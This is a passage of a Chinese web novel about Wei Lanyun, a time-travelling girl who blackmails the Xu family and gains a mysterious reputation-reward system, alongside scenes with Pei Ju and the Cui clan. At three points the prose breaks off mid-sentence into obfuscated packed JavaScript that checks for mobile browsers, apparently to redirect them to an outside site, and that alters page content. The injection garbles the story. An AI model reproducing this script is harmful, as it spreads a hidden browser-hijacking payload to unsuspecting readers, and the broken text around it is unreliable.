在西弄堂的冲天大火里，梁柱掉了下来，砸碎了徐少爷的棺材板，那尸身就那样咕噜噜滚了出来，衣衫被火焰燎烧。 那样盛大的火焰，将尸体照的一清二楚。 那上面没有伤口，一点都没有。 这不是一具死于马匪截杀的尸体。 徐二老爷的冷汗陡然渗透了背衫，他僵直着脖子，不可置信地看着魏兰蕴。 这个女孩子轻描淡写的一句话，戳中了他内心最深的隐忧。 的确，这场冲天的砸坏了棺材的大火，正是魏兰蕴非死不可的理由。 “你的儿子被鸩酒赐死，上赏其能回乡安葬，已经是天恩了，你们竟还违拗上意，为罪者置棺，置冥婚事，置礼乐赞者均违制。”魏兰蕴接着说道。 她的话轻的像一阵风，轻飘飘吹入徐二老爷耳中。 魏兰蕴其实并不知道事情的真相，她只是猜测，从一个不能被世俗知晓的死因入手，分丝析缕，拼凑出一个合理的故事。 魏兰蕴并不知道自己猜得是否正确，但是从徐二老爷的反应来看，她猜的八九不离十。 徐二老爷早已毛骨悚然，他双腿战栗，瞪圆了双眼，梗直着脖子看着魏兰蕴，他惊惧地向后退了几步，却不慎踩在碎石块上，跌落在地。 奴仆们飞一般扑过来，想扶起老爷。 却被徐二老爷一把推开，他低声喝道：“都散开！” 这件事再不能让多一个人知晓了。 这可关系着徐家三族的命脉啊！ 早知道当初那个疯婆子如此做时，就应该杀了她，一刀捅死，方能泄愤！ 徐二老爷悔啊，眼尽红了。 “我不曾学过梁律，但我相信当年高中探花的二老爷，一定对梁律了如指掌，请问徐二老爷，贵府二夫人犯下的错，按律法，应是什么罪？” 魏兰蕴走近两步，她俯瞰徐二老爷，就如同徐二老爷一个时辰前俯瞰她一样。 “你……你……” 徐二老爷颤抖着手，指着魏兰蕴，嘴张了张，话却一直截在嘴边说不出来。 “事情会随着时间的推移而模糊细节，就像是徐二老爷说的一样，今天我来这里，究竟是魏家送我来，还是徐家强掳我了来，终究是不一样的。”魏兰蕴顿了顿，接着说道，“我毕竟是魏家人，若是以后魏家反咬你们一口，你们可拿不出证据来。” “所以我今日一走，你们徐家必定想方设法杀了我，就比如那个你家从西北处角门溜出去的小厮，他手里拿着一封信，前往的方向似乎是丹州府，如果我没有猜错的话，应该是传信给你就任学政的妻舅，让他看准时机，于科举一事上构陷除去我，我说的对吗？” 魏兰蕴俯身，周身凛冽的气势让徐二老爷喘不过气来。 “我不喜欢头上悬着利剑的感觉。”她说，“所以我把这柄剑，还给你。” “若我日后于生途上有半分不测，那么今日之事，将会奉至锦衣卫十四卫所千户案几之上，徐家欺君，夷三族，徒六族八百里。” “那若是我徐家不动你，这件事是否会烂在你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她难道还是对徐家有怨！ 又或许……她只是在敲打徐家？还是意图在联徐抗魏之后一纸状书将徐家送上绝路？ 毕竟—— 徐家可没她什么把柄。 徐二老爷愁绪如麻。 两架马车从清水潭徐家西北处的角门驶过。 魏兰蕴跪坐在马车里，低垂着眸子，双手掩在袖中。 她左手上挂着一颗发灰的珊瑚。 用红绳子串着。 挂在手上。 魏兰蕴的指甲不自觉地敲击珊瑚，发出轻微的磕磕声。 马车经过徐二老爷之时，随风扬起的车帘正好露出一线风景。 那是徐二老爷顾虑重重的脸。 魏兰蕴深吸了一口气，绷直的脊背顺着呼吸而舒展开来。 你这样的人。 就应当在杯弓蛇影中自惶自恐，在长夜漫漫不敢睡卧入眠。 你会在每一条我的消息传来之时，想起你头顶上悬挂的利剑。 你想杀我，但是杀完我你会死；你不敢杀我，但是你永远会担心我什么时候动手杀了你。 来日之后，你进退维谷风声鹤唳。 至此方长。 忽的有一道冰冷的机械般的声音在空中炸裂开来。 这是来自另一个时代的声音。 刹然炸开在魏兰蕴的耳朵里。 没有人能听得见，除了她。 一块金锞子凭空出现了，然后滚在马车的底板上，在架空的板子上弹跳，发出长久且带着余韵的响声。 【进度条抵达百分之三，恭喜宿主，获得奖励‘来自新世界的足金’一份。】 8. 独行的少女（一） 徐家终于出殡了。 原备下的送丧哀哭者十五人，卸下了脸上惨白的妆，静默地站在一旁。 在徐二夫人一个人的哭喊声中，徐大少爷卷了草席，被破败的板车遮掩着匆匆地拉出徐家偏僻处的角门。 徐二夫人还记得他考中状元那年。 锦绣金铃挂了满街，他配花走马长街而过，是骄阳明媚的少年。 而现在他死去，裹着单薄的草席，无人为他痛哭，无人为他哀悼，他一个人寂寥地迈向地府，只有两卷现扎的纸铃为他引路。 从此庙堂史书，再无这个人的名字。 徐二夫人心都碎了。 板车近乎是与魏兰蕴一前一后出的徐宅的门，而随后与魏兰蕴反向而行。 徐二夫人想追去看看她的儿子，却被奴仆们像一道墙一样拦住，奴仆们像对待魏兰蕴一样，用麻绳捆着她，把她塞进耳房里面，颈首栓在卧榻上。 徐二夫人想呵止住他们，摆出夫人的气势来，却没有一个人再度听命于她。 就像半日前的徐大夫人一样。 徐大夫人摇着扇子，站在廊下，与徐二老爷闲聊着。 她不经意间提到了血脉亲情与娘家舅戚于这件事上的立场，令徐二老爷感慨万分，随后又不经意间提到了徐大老爷。 徐大夫人说：“若是兄弟之间一路扶持，在朝堂上必定无往不利，一帆风顺。” 徐二老爷最有出息的儿子已经死了，此事一出，他对二夫人娘家的看法也全然改观，那么他现在还能扶持相助的是谁呢？ 徐二老爷陷入了沉思。 徐大夫人嘴角噙着的那抹笑意愈发明显。 她还记得二夫人刚进门的时候，对她低眉垂眼敬茶的样子，然而后来二老爷扶摇直上，那双低垂的眼睛就再也没有出现过。 不知道多少人在背地里嘲笑过她。 不过如今好了。 从此往后，都是她的好日子了。 徐大夫人舒展了身体，呼出长长的一口气来，这是她经年以来的压抑的、憋闷的、发梗的窝囊气，她好久都没这么畅快过了。 这还真是要多谢上阳魏家了。 谢谢他们有着同样一个拎不清事情的夫人，还有一个不容小觑颇有手段的大姐儿。 徐大夫人不留痕迹地给了心腹管事一个眼神。 那管事会意，立即躬身出去，地头蛇徐家的命令便瞬间便传遍了大街小巷。 清水潭的道路清的干干净净。 没有作乱的流民，没有抢劫的山匪，没有督查的官兵。 这条乡间的小道从未如此平静过。 魏家的马车在路上悠悠地向前行驶着。 魏兰蕴跪坐在车里。 她俯身。 按住了这颗跳动的金锞子。 耳畔空洞的吵闹的机械的冰冷的声音，都随着这枚黄金，被她的手一齐按住。 她的世界又归于寂静。 这块黄金细腻极了，颜色极为纯正，纹路花样更是精细得异常，这是一个不属于这个时代的提纯及锻造工艺打造出来的金属制品。 直到这份所谓的“奖励”出现的第二次。 魏兰蕴才缓慢地让自己接受这个事实。 她似乎被绑定了一个奇怪的东西。 这是一个基于三维世界人体自我意识能动性的模糊熵量化集合，通过他人意识对被绑定者本身的积极性思考，转化为相应的能量，能量通过光的链接，打破时间与空间的固有化模态，从而实现有形物体的传递，并以此作为给被绑定者的正向化奖励。 当徐大夫人得知魏兰蕴的身份时，对她所持有的身份产生了主动化的思考，并衍生出了相应的能动性情绪的时候，是这个系统第一次打开的时候。 系统发出哔的一声，将一颗银锞子掉落在了魏兰蕴的袖子里。 她不动声色地将银锞藏了起来，警惕地周围人的反应，却发现没有人对这尖锐的机械的声音做出任何反馈。 对照发现，这样的声音是特殊的。 只有魏兰蕴听得见。 而当徐二老爷被魏兰蕴威胁，同样对她进行了积极性思考，于是系统的进度条再次增长，赋予了魏兰蕴第二次“奖励”。 通过二次试验，魏兰蕴可以辨别出这个所谓的“系统”的运行逻辑及规律。 然而积极性思考的范围宏大而宽广，魏兰蕴无法给它精确定义，但通过她的理论知识与判断，她认为可以大致将该系统归纳总结命名为—— 声望值系统。 声望，指公众对个体或组织的认可程度（注1）。 那两个视她为蝼蚁的人认可了她。 于是，这个系统获得了能量。 通过金银锞体积和重量的计算，魏兰蕴得出，当这个声望值系统的进度条达到百分之一百的时候，她所获得的能量足以让她实现活体物种在时空的传递。 这意味着这份能量可以让她回家。 亦或者是。 救一个已经死去的人。 天霁晚气，霞澄暮阴（注2）。 裴琚一觉睡醒，便到了此时。 楼下还在传来砰砰砰的磕头的声响。 一声又一声。 同大楼里的人声一齐鼎沸。 裴琚其实并不知道这个人是谁。 只隐约记得是丹州府里某个吏员的儿子，家中同宫里有几分关系，所以大言不惭唤他琚郎，还敢用他儿时的事情玩笑。 一楼的郎君依旧在玩射艺，二楼的公子仍然在比捶丸，三楼倒是不踢蹴鞠了，蹴鞠场拆了抬了两张大赌桌上来，筹码在桌上垒得像宝塔。 小王孙也下了楼，铁甲卫一左一右保护着他，他挤在赌桌的一角，玩得开心极了。 “张三郎已经磕了两个时辰三刻钟了，我赢了，承让承让！” 有个公子赌的正是二时三刻，他乐极了，拿着木杆子将筹码都拢到自己身边来。 而赌的二时四刻的两个郎君黄雀在后，手插着腰站在他的身后，只等时间到了二时四刻将桌上的筹码一网打尽。 楼里有人开心，也有人不开心。 “张三郎毕竟是杨妃娘娘的表侄儿，这都两个时辰了，宁都世子竟还不让人饶过了他……”说话的是张三郎的表兄，他们同为丹州人，来银湾作陪多半是附势而为，张三郎说错了话，惹恼了宁都王世子，竹篮打水一场空，他心里也不好受，“但到底他也是被罚来丹州的，他也敢这样嚣张？” “是啊，去岁当街挑衅锦衣卫张千户，妨碍锦衣卫办案，被陛下一道旨意罚来丹州思过，他这哪有什么思过样儿？兴头起了来银湾，折腾得银湾山不是山，水不是水……” 有人应和着嘀咕道。 宁都世子骄奢纨绔惯了，来山便修登天梯，看水便造卷帘舟，仅是这栋酒楼，便在他驾临的数日里拆了修、修了拆，蹴鞠场捶丸坪都不知来来回回造了多少次。 这哪里是个思过的样子？ 这样嚣张，他也不怕被一本折子参上去！ 丹州亲张之人聚在角落里愤愤不平。 他们在一楼悄悄地说，这声音应该无论如何都传不上四楼。 可是裴琚耳力极好。 隐隐约约如虫鸣一样的怨怼话语，也便隐隐约约摇摇晃晃飘进了他的耳朵里。 裴琚不以为意，用锦被蒙住脑袋，打算再睡过去。 “若是自己一人悄悄的来便也罢了，如此张扬，还把秦老王爷家的独苗儿带了来！” 这人愤懑极了，情绪骤然倾斜出来，声音尖锐极了，引来不少人的目光，他吓得骤然间噤了声，待到大家都将目光别了过去，他才犹犹豫豫又将心中剩下的那点怨恨吐露出来。 “谁不知道这小王孙是秦王爷的宝贝命根子，平日里宠得含在嘴里怕化了般，就这么一骨碌给人拐了出来，若是出了什么事，只怕裴十一这戴罪之身就要罪上加罪了。” “你见过有人思过不在天牢大狱在外祖家的？”有人反讽一句。 他毕竟是当今天下最尊荣的双王之子。 罚没裴琚南下，无非就是做个样子给人看，显然裴琚自己也明白。 这不，该玩还是玩着。 “不过他三年前立下的功劳，可谓是举世无双……”有人忽的感叹了一句，“就凭他的功绩，遑论当街阻挠锦衣卫办案，就算是当街斩杀千户张令褀，他也能全须全尾地从诏狱里面出来。” 三年前北戎十八万骑兵南下，直捣雍都，当时的雍都太守弃城而逃，连带着雍都守备军三千七百六十二人如鸟兽散，不战而降，雍都城背后就是青城关，青城关之后就是帝京，而距离青城关最近的西林守备，赶赴帝都防卫也要整整三天。 三天之内，若是青城关破，那便是帝京沦陷，天子被俘。 那时候整个京城人人自危。 就连首辅刘大人，都向陛下进谏了再度南迁的奏章。 大梁已经因为北戎的进攻南迁了一次了，若是再南迁第二次，岂非是灭自己志气涨夷族威风？动物断掉脊梁会死，王朝断掉脊梁会亡，而民族若是断掉脊梁，会像一条丧家之犬一样，被别人赶到角落里苟延残喘，然后用屠刀一点一点放掉血液，直到薪尽火灭。 就在一筹莫展穷途末路之际。 是裴琚。 是当时尚未加冠，年仅十五岁的宁都王世子裴琚，千里奔袭直抵雍都，带领雍都军民百姓一万八千一百一十一人守城三日，歼灭敌军三万七千。 他守住了大梁在乌苏江以北的最后一道防线，不仅给足了西林、东襄、雁门、彰武等地守备军回防时间，还为数万江北百姓夺来了至关重要的回迁行路，因他逃生的大梁人不计其数。 虽然最后雍都城还是破了。 城破之日，戎国小王子的长枪正好投中裴琚的心脏。 “那枪足足有这么粗！”有个武将公子没听着前边的话，还以为他们在谈论三年前那场空前绝后的守城之战， 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裴琚已经忘记了他是怎么受的伤。 在经受这场强烈的贯穿伤却又奇迹般活下来后，裴琚忘记了很多东西。 他不记得他当成为什么坚决地守城，他不记得他当初是如何守的城，他不记得他当初是怎么受的伤，他也不记得他那个时候是怎么从这必死的伤势中活下来的。 母亲找到他的时候，他不在雍都战场上。 他在一间破败的女娲庙里。 庙里的女娲像掉了一半的漆，只剩了半面慈祥的笑容。 母亲说，这是一场神迹。 没有人可以从这样的伤势中活下来。 除非这是一场神迹。 可这世间真的有神吗？ 裴琚曾在他仅剩的记忆碎片里找寻过神的踪迹。 可有关于她的所有的一切都是空空荡荡的，就像冬日里苍茫的草原，白蒙蒙的一片，猛地吸一口凉气，还能感受到这气冰冷如刀子一般在他的喉鼻滑动。 裴琚什么也想不起来了。 魏兰蕴抚摸着这颗发灰的珊瑚。 这是一块发灰的不值钱的珊瑚，用廉价的黑绳串了，绕在魏兰蕴的手腕上，这是白日里丢在大街上也没人要的玩意儿，所以此时此刻，它还能留在魏兰蕴的手腕上。 这似乎是这具躯体的习惯性动作。 自从来到这个世界，魏兰蕴总是不由自主的这么做。 马车是魏家女眷出行专用的，车内五脏俱全，偏几上还用铆钉嵌了一面小小的铜镜。 铜镜上倒映着魏兰蕴浅浅的一张脸。 这是一张很有用的脸。 不得不说。 如果不是因为这一张令人印象深刻的脸，也许此时此刻她已经躺在棺材里长眠，徐家那冰冷的刻骨的蔑视的可怕的经历，现在令她回想起来，仍然心有余悸。 铜镜上的女孩子眉间纹了一朵兰花。 一朵栩栩如生的兰花。 魏兰蕴抬手摩挲着这朵兰花，可以触到兰花之下，有着一道凹凸不平的疤。 这道疤奇怪极了。 魏兰蕴想不出来到底是什么样的场景，才会造成这样的一道疤。 这就像是一个大力士投了一柄长枪过来，长枪轰隆一声穿过厚重的墙壁，然后正好在她的眉心刹住了车，汹涌的澎湃的长枪的余韵在她的皮肉里面搅动，眉间的血肉翻了出来，然后感染、发红、生了烂疮，最后成了凹凸不平一片。 有人因伤制宜，在上面绣了兰花。 如今近乎无人能看出兰花底下的疤。 魏兰蕴忽的把手按在了铜镜上，镜上的凉意从她的指尖渗去。 刺骨的冰凉让魏兰蕴感到这个世界无比的真实。 这里并不是一个梦境。 而是一个真实的过去的封建的可怕的吃人的世界。 魏兰蕴突然不由自主地颤抖。 她在这个世界经历的，所有不曾将她作为一个有着独立人格的人对待的事情，她在这个地方经历的，所有一切恐怖的事情，原本被她埋藏在脑海里。 而现在，它们破土发芽。 魏兰蕴恐惧极了。 这里这些人们眼里所有所有理所应当的一切，都让她感到恐惧。 哪怕她尽力绷直着一张脸，可她的眼却忍不住渫渫。 泪水从眼角流出，顺着她的脸庞一路落在地上。 一滴两滴。 落在发灰的珊瑚珠子上。 最终的最终，魏兰蕴终于忍不住了，她像一个正常的十五六岁的姑娘一样呜咽，她抱着膝盖，小小的缩成一团靠在马车的角落里。 她颤抖着，鼻音与喉音并重。 她说。 “魏兰蕴，你要回家。” 魏兰蕴。 你一定要回家。 要回家。 9. 独行的少女（二） 车帘被东风吹去，倾泄街巷广袤光景。 车水马龙的街道上，行人脚商来来往往，雕梁画栋的楼阁檐角上，停歇着一群鸽子，鸽子正叼着落叶玩闹。 魏兰蕴看见了那群鸽子。 鸽子玩闹的一侧，有一扇半开的窗户，仰头隐约可见窗内的榻上歇着一个红衣少年。 清风飚飚，卷着檐上的落叶尘土入窗。 正巧落在裴琚身上。 裴琚拍散了身上的枯叶。 他起身，站在窗边，扫过街巷广袤风景。 而风只乍起一瞬。 那些被吹动的、高高扬起的垂帘又像雨一样，哗啦啦落回原处。 就在裴琚站在窗边的时候。 街巷是同往日一般的街巷，并没有什么新奇的。 裴琚收回了目光。 他单手扣动槛窗。 把窗户关上了。 车帘落了下来，就在裴琚站在窗边的前一瞬。 鸽子和少年被拦在了车帘外面。 魏兰蕴并没有抬手把车帘再度掀起。 她转过了头去，正襟跪坐在马车里，仪态端庄极了，半刻前崩溃的破土的情绪，随着时间的流逝而枯萎，而就在泪水风化尔后，她已与从前并无区别。 魏兰蕴的目光好似古井一般平淡无波。 她无意间摩挲着手腕上的红色珊瑚。 珊瑚已生了润色。 屋檐上的鸽子振了翅。 它们略过魏兰蕴的车马，飞过潺潺的银湾水，再跨过重重的楼阁。 最后落在丹州府崔家西北角鸽房的檐台上。 丹州府崔家，自二百年前追随梁太祖定国安邦以来，就是乌苏江以南数一数二的大世家。 二百年来，崔家出了皇后七位、首辅十一位、殿阁大学士三十七名，尚书、侍郎、知府更是数不胜数，先孝文皇后便是出自崔家，是当今崔家老太君的亲生女儿。 西林军里说不一二的军中公主华阳，便是崔老太君的外孙女。 平日天不怕地不怕的京都小霸王裴琚，唯怕三人，一是其母华阳公主，二是其父宁都亲王，三便是他的曾外祖母，也就是这位后族老祖宗，崔家的老太君了。 正因为如此，深受小霸王之苦的皇帝陛下，才会一道圣旨发下来，让裴琚南下，去他母亲的外家，让崔老太君好好管教管教他。 崔家的下人取下信鸽右腿上挂着的纸条，沾了杨柳水展开在绷直的绸缎上。 纸条上是崔家独有的密语。 下人将绸缎放在会密语的老仆的桌面上，老仆轻览一瞬，提笔便落下两大篇文章。 纸是梨花笺，墨是扬州墨。 书信文章写就一刻，又有两个年轻的丫鬟捧着托盘过来，将书信取走，托盘贡举在头顶上，她们躬着背碎步走着。 “哟哟哟，可别说别说！一会儿十一郎听见又该恼了！” 正房里边或坐或站着许多妇人。 她们身姿优美，面色恬淡，簇拥在正中坐着的崔老太君身边，不知哪一个年轻的小媳妇说了句什么话，众人哄笑成一团。 老太君笑着开口说道：“你们也就是趁十一郎不在，才敢在这时候说十一郎的玩笑，若是十一郎在这儿，你们就是冬天的知了，一句话也憋不出来了！” “老祖宗！阿媛可跟我说的有鼻子有眼的！”小媳妇轻嗔道，“她说那个时候东海送了一株珊瑚来，颜色极正，是宫里也少有的货色，琚郎宝贝得不行，特意找了家里的珠宝匠学了半个月雕工，学的还是姑娘家的样式呢！” “是呀是呀，阿媛说她可没收到什么珊瑚儿镯子，说不定就是送给小姑娘呢！” 又有媳妇子附和道。 正堂里乐成一团。 丫鬟缩着身子走到了正堂，将书信递给门边侍立的管家娘子。 管家娘子接过书信，用宝石磨的叆叇粗略扫过一遍，便躬着腰绕行到崔老太君的身后，只等堂里的夫人媳妇们都笑完，她才跪在崔老太君身边的地毯上，头顶着托盘将书信贡在她的手边。 “好了好了，别说了！给琚郎知道了，他一生气，你们这一个两个的碎嘴子娘子一个也跑不掉！”老太君佯装嗔怪道，“珊瑚那样难雕的东西，说不定雕毁掉了碎掉了，又或许是咱们小皮猴雕烦了不要了也未可知，阿媛也是的，当娘了也这么不正经，带头开儿子的玩笑，弄得咱们宝贝儿琚郎一直不往西林待，在京里住着也没人管，性子愈发无法无天了。” 妇人们聚在一起，无非就是聊些东家长西家短的事儿。 崔老太君见过魏家的那个大姐儿，那时候她才三岁，长得玉雪可爱，别说那时候家里爬树摸鱼的皮猴子了，就连她也忍不住多看几眼。 小皮猴子爬树爬惯了，偷上人家院墙多看了几眼，便被婶婶姨姨们传得愈来愈离谱。 有时候给阿娘阿姐雕个饰品儿，都能跟人家姑娘扯在一块儿。 “银湾的书信来了，大家都一起听听吧。” 崔老太君敲了敲桌子，正堂的窗户便一齐敞开了。 堂外站着诸多戏子，戏子们各着各衣衫，有人身着红袍劲装扮裴琚，也有人身着圆领锦袍做王孙，随着管事娘子一声吩咐，戏子们俱动了起来，咿呀吟唱之间，便将裴琚等人在银湾游玩的所见所闻所知都演了出来。 戏文是现写就的，咬字却犹为押韵，丝毫不输当下名家话本。 像清水潭徐家，亦或是上阳城魏家这样的一般人家，觉得最尊荣的也不过是请一两个读信人侯在府里，然而像丹州府崔家这样的百年世家早已不听信了。 崔家养了戏子乐者百余人于府里，凡有信至，必先由曲家作本，戏者拟情饰之，如此便如身临信中其境一般，所闻所感远超听读那般俗法子。 堂里的夫人媳妇聚精会神地看戏。 一曲唱罢，崔老太君忽的问道：“对了，九郎是不是要回来了？” “是的。”崔六夫人起身走出来，她福了一礼，面带微笑，“兖州讲学事毕，前日已经启程了，约莫今天应该到了华州地界，不出三日便也到家了。” 崔九郎是崔家这一代最富盛名的才子，一篇东城赋险些抄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354448|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹州纸贵，他虽未曾下场科考过，其文名却誉满寰中，凡他讲学之处，儒士学子必定蜂拥而至，盛况堪比万人空巷。 “也不知九郎何时下场，若是九郎下场，那最年轻的状元何至于徐家来当？最年轻的阁臣又何至于落在魏伯雍头上？”有个夫人可惜地道。 这般学富五车的孩子，若是进了朝堂，必定是一代贤臣明相。 可惜他志不在此。 “咱们九郎说过，与其精一人的学问，不如精万人的学问，不做官又如何？我们九郎如今的名声，俨然堪比文坛宗师，就算是当今的内阁刘首辅见了我们九郎，也要礼让三分，而他如今，才堪堪二十一岁。”崔六夫人意味深长地说道，她骄傲极了，一个二十一岁的殿阁大学士，与一个二十一岁的文坛宗师比起来，孰轻孰重，她的心里自有定论。 堂里的女人们心里也有几分思量。 但虚无缥缈的名声比起触手可及的钱权来说，到底会让人心里有几分失落之感。 “老六家的，前些日子大郎来了信，说他与魏伯雍商议好了，要定下一门亲事，你挑个日子去魏家，看看他们家哪个孩子合适。”崔老太君吩咐道，她顿了顿，想到了什么，忽的又补了一句—— “莫要给琚郎知道了，他现在可听不得姓魏的人的事儿！” 话音一落，堂里的夫人媳妇们又噗嗤一声笑了。 “媳妇省得。”崔六夫人再施了一礼。 崔九郎支起了另一扇窗户，就在裴琚关上一扇之后。 信中本该在华州的他，此刻正坐在银湾的山水之间，他微笑着看着为崔家递送书信的老秀才，老秀才栗然极了，额角渗出冷汗滴滴，他笔下正写着今日的信，信中一字一句描述了今日宁都世子裴琚在银湾的见闻广识，半句不曾牵涉崔九其事。 “为什么不让姨母知道？”裴琚问他。 他无所谓事对人言，他在银湾的言行见知皆被一字一句汇报去了丹州，他从不曾干涉过，崔九郎提前抵达银湾，并非是什么见不得人的事情，他不理解为何要掩去这一点。 “就让我在你这里清静一会儿吧。”崔九郎学着裴琚的样子，头枕着双手靠在软塌上，动作别扭极了，他笑着说道，“到了银湾，便要催我回丹州了，我母亲的性子你还不知道吗？” 二十一岁的文坛大家，千古难出一位。 崔六夫人自然是当宝贝般待着，平日里衣食住行都由自己妥贴盯着，下笔沾墨都由小厮婢女代为伺候着，平日里若非讲学设宴这般重要的事儿，崔六夫人都恨不得崔九郎莫出丹州，甚至是莫出崔府房门，永远当个珍贵的宝物贡在楼台高阁上。 “也是。” 裴琚深以为然，若是他与崔九郎对换一番，只怕要是早早找借口逃了丹州，逢年过节也不回来，崔六夫人的爱太过深重，一般人承受不住。 “那似乎是魏兰蕴。”崔九郎望着窗外，忽的说了一句。 裴琚皱眉，他不认识这个人：“谁？” 崔九郎若有所思地摇了摇头，目送魏家的车马远去。 “没事了。” 10. 独行的少女（三） 傍晚时分，归程的车马在魏宅正门口停驻。 魏三老爷率先下了马车。 府里的大管事为魏兰蕴掀起车帘，两个窈窕的婢女一左一右候在车旁，恭敬搀扶她下车。 魏兰蕴身上穿的是家里的常服衣衫，双手掩在袖子里，头上待着帷帽。 在外边顽了三四日，调皮的小娘子衣裙上沾上了不少泥水，她慈祥的三叔父并未因她的不懂事亦或是不规矩而怪罪于她，反而亲自远行去将她接回。 四邻议论纷纷。 他们都说这个上阳城来的魏家仁善极了，尤其是这个魏家三房，闻融敦厚内仁外义，大哥留下这么一个不忠不孝不悌的孩子，魏家三爷却仍然愿意以和善相待、以仁义感化她，哪怕是她肆意地去长辈家里闹着顽了一大场，也没有厉色责怪她的。 多好的魏家，又是多么受宠顽皮不懂事的小娘子。 “真是……” 有个穿着褐色的袄子的人混在街坊之间，他喋喋不休地诉说着魏家其事，最后总结之时，却摆了摆手，与四邻幽幽叹息一声，将一切感慨尽化在不言之中。 邻人啧有烦言，而杨阿雁却雀跃不已。 她侍立在门口，欢欣鼓舞地等候着魏兰蕴归来。 她是魏兰蕴新的贴身侍婢。 魏家有个四娘子，这个女孩子是魏三夫人唯一的嫡生女儿。 杨阿雁见过魏四娘子的贴身侍婢。 她平日里穿着京里时兴的丝缎子，手上戴着年节赏下的玉镯子，头上用的桂花油是一贯钱一瓶的，而擦脸的香粉是特意托人去丹州买的，路上一来一回给人的捎带花费，就抵得上她们这些外院的粗使丫鬟半个月的工钱了。 三房四娘子的贴身侍婢尚且如此，那么大房的呢？ 魏兰蕴可是大老爷与先头大夫人的第一个孩子，是在三房面前也可以横行霸道的女孩子，是哪怕娇蛮纨绔，魏三老爷都得娇哄着的女孩子。 毕竟是魏相公的亲生女儿，谁又能不娇哄着呢？ 杨阿雁觉得自己看得很明白。 她的贴身侍婢，一定是府里数一数二的好位置。 至于内院的人都不乐意去？ 说不定是这娘子娇蛮霸道，那些内院的丫鬟们养尊处优惯了，受不了兰娘子的性子，做不来那受屈受辱的活计儿，这才将机会给了她们外院里的人。 毕竟贴身侍婢都是从小用到大的人，再不济也是老早就用惯的人，若非婚丧嫁娶，夫人娘子的贴身侍婢是轻易不会更换的，想必是兰娘子太过蛮横，逼逃了不少丫头，所以致使她在这个年岁里急急地去寻新的侍婢。 杨阿雁才不在乎娘子名声好坏，更不在乎娘子娇蛮与否，没什么比拿到手里的、看得见的金银绸缎更为重要了，况且，她们这些外院里做粗活的，只要能进了内院，不管做什么，都是大大的升迁了。 厨房洗菜的翠柳、西廊浣衣的小菊、以及北房刷马桶的马婆子，她们都想要这个位置，可是她们瞻前顾后，生怕天上掉下来的馅饼咬一口夹了一嘴的石头子，她们不敢去要。 只有她杨阿雁敢。 她敢想敢做，听说了这事就立即敲开了大管事的门。 大管事起先惊愕不已，随即却又了然，然后再向她提到了一个不小的数字，他提到这个数字的时候，厨房洗菜的翠柳正提着她老家捎来的老咸菜，敲响了大管事的院门。 有门槛的地方才是好地方，提要求的事儿才是好事。 听见大管事的要求，杨阿雁并未感到感到错愕厌烦，也并不打算望而却步，适逢翠柳敲门，这反而令她更加欣喜雀跃了起来。 你们这些瞻前的、顾后的、不去做这件事情的人都晚了她杨阿雁一步，这样的好地方，只能是她杨阿雁的！ 杨阿雁几乎是没有犹豫，就将袖兜里新赚来、还没捂热的银锞子给了出去。 这是一颗颜色极正的银锞子，上面还细细雕着祥云的纹路，做工精致极了，这不是一个小小的外院丫鬟可以拥有的东西，这一看就是高门大户里的夫人娘子才会有的东西。 银子是杨阿雁才挣下的。 故事则要从前天说起。 她前日儿偷摸出去接了个活计，是给某家早亡的公子哭丧。 那户人家排场大的吓人，礼乐赞者哭歌丧人整整雇了七十八个过去，因是急要，所以给的工钱尤为不菲，杨阿雁和棺材铺子里的小阿三关系不错，于是小阿三便把她荐了过去，补了个空差儿做哭丧人。 不过这只是一段拿钱做事的短工而已。 工钱就算是开得再高，也到不了一块银锞子这么高。 但是她在这个宅子里面遇到了一个人。 昨日夜里，那户人家的宅子起了大火，就在杨阿雁扛起水盆冲进去救火的时候，她遇到了一个皮肤苍白还盖着半截红盖头的女子。 她像极了乡里阿婆常说的那种，夜里出没怨气深重的鬼新娘。 这吓得杨阿雁差点尖叫出声来。 然而那个女孩子比她先开了口，虽然声音有些哑，但却依旧好听得像风里摇曳的银铃铛。 女孩子给了她一颗银锞子，一颗分量十足且颜色极正的银锞子，她说这只是定金，只要她今夜将这张纸条上的话刊印在县报上，还会有比之三倍的银钱结给她。 天底下没有比这还划算的买卖了。 杨阿雁高兴极了。 县报有个板块是给钱就能上的，明码标价，一字五文，虽说这事加急，县报的老书生肯定得趁机敲一笔，但是这钱加破了天去，也远远够不上一颗银锞子。 更别说这之后还有三倍的银钱结给她。 杨阿雁近乎是没有犹豫，她拿着女孩子给的银子和字条，从清水潭一路往银湾县狂奔，县报的老书生讲价不若她老练，几番口舌之后，她仅添了五文，便把那句话加在了第二日的县报上。 杨阿雁近乎是纯赚了这一枚银子。 有时候人的命运就是如此。 她在得到这一枚银子后，回到了魏家，便听见了大管事要为兰娘子寻侍婢的消息。 内院的婢子并不热衷于这个位置，所以消息一路传到了外院，就在消息抵达外院不足一刻钟的时间，她敲开了大管事的门，用一个轻易得来近乎白捡的银锞子，换来了这个院子里数一数二的好位置。 那些洗菜的洗碗的，统统被她拦在了外面。 这么多个恰好的时点，一齐推动着她拿到了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 